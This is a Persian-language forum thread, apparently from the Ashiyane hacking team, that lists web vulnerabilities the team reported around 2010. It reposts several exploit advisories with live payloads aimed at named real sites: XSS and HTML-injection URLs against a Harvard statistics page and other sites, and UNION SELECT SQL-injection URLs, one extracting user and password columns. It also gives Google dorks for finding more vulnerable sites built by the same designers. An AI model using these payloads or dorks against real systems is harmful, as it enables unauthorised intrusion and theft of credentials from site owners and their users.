ولین باگ مربوط به پورتال معروف vbulletin هست در نسخه 3.8.4 که به نام اشیانه ثبت شد ! کد: vBulletin adminCP 3.8.4 cross site scripting - WLB - SecurityReason.com دومین باگ مربوط به پورتال معروف WordPress هست در اخرین نسخه 2.9 کد: WordPress 2.9 plugin wp-wall (XSS) Cross Site Scripting Vulnerability - ExploitAlert - SecurityReason.com سومین باگ مربوط به پورتال D.A.E هست که یه پورتال ایرانی هست ! کد: D.A.E Cms SQL Injection Vulnerability - ExploitAlert - SecurityReason.com چهارمین باگ مربوط به پورتال SLAED هست ! که باز هم یه پورتال ایرانی هست ! کد: Slaed 4.3 Pro CMS Cross-Site Scripting - WLB - SecurityReason.com
پاسخ : باگ های گزارش شده توسط تیم امنیتی آشیانه MiniManager For Mangos/Trinity Server DoS Vulnerability کد: MiniManager For Mangos/Trinity Server DoS Vulnerability - ExploitAlert - SecurityReason.com http://inj3ct0r.com/exploits/12182 MiniManager For Mangos/Trinity Server DoS Vulnerability کد: waibrasil Local File Include Vulnerability - WLB - SecurityReason.com کد: http://inj3ct0r.com/exploits/12196 Free Advertisment cms (user_info.php) SQL Injection Vulnerability کد: http://inj3ct0r.com/exploits/12206 Marinet cms SQL Injection Vulnerability کد: http://inj3ct0r.com/exploits/12205 Woodall Creative SQL Injection Vulnerability کد: http://inj3ct0r.com/exploits/12207 کد: Free Advertisment cms (user_info.php) SQL Injection Vulnerability کد: Woodall Creative remote SQL injection - WLB - SecurityReason.com Marinet cms SQL Injection Vulnerability - ExploitAlert - SecurityReason.com
پاسخ : باگ های گزارش شده توسط تیم امنیتی آشیانه متفرقه .. باگ در Harvard University کد: http://inj3ct0r.com/exploits/12310 کد: ############################################# [+] Discovered By: XroGuE @Title: Harvard University XSS/HTML Injection Vulnerability @Author: Ashiyane Digital Security Team @Mail: Xrogue_p3rsi4n_hack3r@Hotmail.com @Site: Harvard University Statistics Department @Bug: Statistics Department Faculty[XSS/HTML] @XSS Demo: http://www.stat.harvard.edu/faculty_page.php?page=<script>alert(/Inj3ct0r.com/);</script> @HTML Demo: http://www.stat.harvard.edu/faculty_page.php?page=<marquee><font color=red size=15>Inj3ct0r.com</font></marquee> ############################################# # Inj3ct0r.com [2010-05-20] کد: http://inj3ct0r.com/exploits/12364 MMA Creative Design SQL Injection Vulnerability Hack0wn :: MMA Creative Design Remote SQL Injection Vulnerability کد: =============================================== MMA Creative Design SQL Injection Vulnerability =============================================== ########################################## # Name: MMA Creative Design SQL Injection Vulnerability # Date: 2010-05-23 # vendor: MMA Creative : Results-Oriented Advertising, Marketing and Web Design # Author: Ashiyane Digital Security Team # Discovered By: XroGuE # Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com # Home: ...::: Ashiyane [ online resource of security - آموزش امنیت و راه های مقابله با هک] :::... ########################################## [+] Dork: intext:"Design by MMA Creative" [+] Vulnerability: http://[site]/[path]/page.php?id=[SQLi] [+] Live Demo: Thomas Nelson Bibles ########################################## ------------------------------------------- کد: http://inj3ct0r.com/exploits/12365 BBMedia Design's SQL Injection Vulnerability Hack0wn :: BBMedia Design's Remote SQL Injection Vulnerability کد: ============================================ BBMedia Design's SQL Injection Vulnerability ============================================ ########################################## # Name: BBMedia Design's SQL Injection Vulnerability # Date: 2010-05-23 # vendor: Web design, Web site design, Internet marketing, Professional web design, BB Media web design company # Author: Ashiyane Digital Security Team # Discovered By: XroGuE # Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com # Home: ...::: Ashiyane [ online resource of security - آموزش امنیت و راه های مقابله با هک] :::... ########################################## [+] Dork: intext:"Design by BB Media.Org" [+] Vulnerability: http://[site]/[path]/page.php?id=[SQLi] [+] Demo: http://server/prod_motors.php?id=-9...x3a,user,0x3a,pass),7,8,9,10,11,12+from+users ########################################## ------------------------------------ کد: http://inj3ct0r.com/exploits/12366 goffgrafix Design's SQL Injection Vulnerability Hack0wn :: goffgrafix Design's Remote SQL Injection Vulnerability کد: =============================================== goffgrafix Design's SQL Injection Vulnerability =============================================== ########################################## # Name: goffgrafix Design's SQL Injection Vulnerability # Date: 2010-05-23 # vendor: custom CMS sites, cape and islands professional website design company - martha's vineyard website design - custom website design and website programming - designing affordable, functional websites # Author: Ashiyane Digital Security Team # Discovered By: XroGuE # Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com # Home: ...::: Ashiyane [ online resource of security - آموزش امنیت و راه های مقابله با هک] :::... ########################################## [+] Dork: intext:"Web design by goffgrafix.com" [+] Vulnerability: http://[site]/[path]/page.php?id=[SQLi] [+] Demo: http://server/media.php?id=-999+UNION+All+SELECT+1,version(),3,4,5,6,7 [+] Vendor Vulnerability: Website Graphic Design by website programming by Heather Goff of goffgrafix.com ########################################## -------------------------------------- کد: http://inj3ct0r.com/exploits/12363 Hack0wn :: 70kft Design Remote Multiple Vulnerabilities کد: ===================================== 70kft Design Multiple Vulnerabilities ===================================== ######################################### # Name: 70kft Design Multiple Vulnerabilities # Date: 2010-05-23 # vendor: Stratosphere Creative | Welcome # Author: Ashiyane Digital Security Team # Discovered By: XroGuE # Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com # Home: ...::: Ashiyane [ online resource of security - آموزش امنیت و راه های مقابله با هک] :::... ########################################## [+] XSS Injection Vulnerability: [+] Vulnerability: http://[site]/[path]/page.php?id=[XSS] [+] Live Demo: http://www.greatesttheft.com/lessonplan.php?id=<script>alert(/XroGuE/);</script> ########################################### [+] HTML Injection Vulnerability: [+] Vulnerability: http://[site]/[path]/page.php?id= HTML: [+] Live Demo: http://www.greatesttheft.com/lessonplan.php?id=<marquee><font color=red size=15>XroGuE</font></marquee> ########################################### # Inj3ct0r.com [2010-05-23] --------------------------------------- کد: http://inj3ct0r.com/exploits/12362 http://www.exploit-db.com/exploits/12707 http://www.hack0wn.com/view.php?xroot=1638.0&cat=exploits کد: ====================================================== runt-communications Design SQL Injection Vulnerability ====================================================== ########################################## # Name: runt-communications Design SQL Injection Vulnerability # Date: 2010-05-23 # vendor: http://runtcommunications.com # Author: Ashiyane Digital Security Team # Discovered By: XroGuE # Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com # Home: www.Ashiyane.org ########################################## [+] Dork: intext:Design by: runt communications [+] Vulnerability: http://[site]/[path]/page.php?id=[SQLi] [+] Live Demo: http://www.naturetrust.bc.ca/spotlight.php?id=-999+union+all+select+version(),2,3,4,5-- ########################################## # Inj3ct0r.com [2010-05-23]
